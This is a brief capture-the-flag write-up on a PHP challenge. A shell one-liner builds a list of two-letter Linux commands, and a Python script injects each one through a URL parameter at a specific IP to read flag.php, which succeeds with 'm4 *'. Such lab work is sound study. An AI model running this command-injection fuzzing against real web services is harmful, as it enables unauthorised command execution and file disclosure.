From the source code we get the gist we are supposed to find a 2 letter command that we can use to read the contents of flag.php. First, we need to find all those commands:

```
┌──(kali㉿kali)-[~]
└─$ comm -23 <(compgen -c | grep '^..$' | sort -u) <(echo -e "ss\nsc\naa\nod\npr\npw\npf\nps\npa\npd\npp\npo\npc\npz\npq\npt\npu\npv\npw\npx\npy\npq\npk\npj\npl\npm\npn\npq\npf\npz\npv\npw\npx\npy\npq\npk\npj\npl\npm\pn\pq\pf\pz\pv\pw\px\py\pq\pk\pj\pl\pm\pn\pq\ls\dd\nl\nk\df\wc\du" | sort -u) | awk '{print $0 " *"}' > att.txt
```

This command filters all existing linux commands and saves the ones we can use in att.txt under the format “(cmd) *” since that is our best hope of reading flag.php. For example “cat *” would work, but it is one character too long.

```python
import requests
url_template = "http://35.246.227.46:31292/?start=FUZZ"
with open("att.txt", "r") as file:
    lines = file.readlines()
for line in lines:
    fuzz_value = line.strip()
    url = url_template.replace("FUZZ", fuzz_value)
    try:
        response = requests.get(url)
        print(f"URL: {url}")
        print(f"Response:\n{response.text}\n")
    except requests.exceptions.RequestException as e:
        print(f"Error fetching {url}: {e}")
```

Then if we look through the execution results, we find m4 * worked and we got the flag.

Made with love by: AndreiCat